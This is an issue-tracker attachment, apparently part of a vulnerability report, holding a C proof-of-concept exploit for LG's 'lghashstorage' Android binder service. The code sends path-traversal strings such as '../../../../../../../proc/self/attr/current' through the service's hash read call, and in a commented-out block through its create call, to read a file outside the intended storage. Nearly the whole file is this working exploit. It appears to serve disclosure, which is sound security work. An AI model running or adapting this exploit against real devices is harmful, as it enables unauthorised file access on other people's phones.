New issue
Advanced search Search tips

Issue 987 attachment: lghashstorage.c (2.3 KB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <fcntl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#include "binder.h"

int main(int argc, char** argv) {
struct binder_state* bs;
struct binder_io msg;
struct binder_io reply;
uint32_t handle = 0;
char data[0x10000];
char read[0x21];

fprintf(stderr, "[0] opening /dev/binder\n");
bs = binder_open(0x400000);

fprintf(stderr, "[0] looking up service lghashstorage\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "android.os.IServiceManager");
bio_put_string16_x(&msg, "lghashstorage");
binder_call(bs, &msg, &reply, 0, 1);
handle = bio_get_ref(&reply);
fprintf(stderr, "[0] got handle %08x\n", handle);
binder_acquire(bs, handle);
binder_done(bs, &msg, &reply);

/*
fprintf(stderr, "[0] creating hash\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "com.lge.IHashStorageService");

bio_put_cstring(&msg, "../../../../../proc/self/attr/current");

bio_put_uint32(&msg, 0x41424344);
bio_put_uint32(&msg, 0x41424344);
bio_put_uint32(&msg, 0x41424344);
bio_put_uint32(&msg, 0x41424344);

bio_put_uint32(&msg, 0x41424344);
bio_put_uint32(&msg, 0x41424344);
bio_put_uint32(&msg, 0x41424344);
bio_put_uint32(&msg, 0x41424344);

bio_put_uint32(&msg, 0);

binder_call(bs, &msg, &reply, handle, 2);
binder_done(bs, &msg, &reply);
*/

fprintf(stderr, "[0] reading hash\n");
bio_init(&msg, data, sizeof(data), 4);
bio_put_uint32(&msg, 0x100);
bio_put_string16_x(&msg, "com.lge.IHashStorageService");

bio_put_cstring(&msg, "../../../../../../../proc/self/attr/current");
bio_put_uint32(&msg, 0);

binder_call(bs, &msg, &reply, handle, 3);

*(uint32_t*)&read[0] = bio_get_uint32(&reply);
*(uint32_t*)&read[4] = bio_get_uint32(&reply);
*(uint32_t*)&read[8] = bio_get_uint32(&reply);
*(uint32_t*)&read[12] = bio_get_uint32(&reply);
*(uint32_t*)&read[16] = bio_get_uint32(&reply);
*(uint32_t*)&read[20] = bio_get_uint32(&reply);
*(uint32_t*)&read[24] = bio_get_uint32(&reply);
*(uint32_t*)&read[28] = bio_get_uint32(&reply);
read[32] = 0;

fprintf(stderr, "%s", read);

binder_done(bs, &msg, &reply);

return 0;
}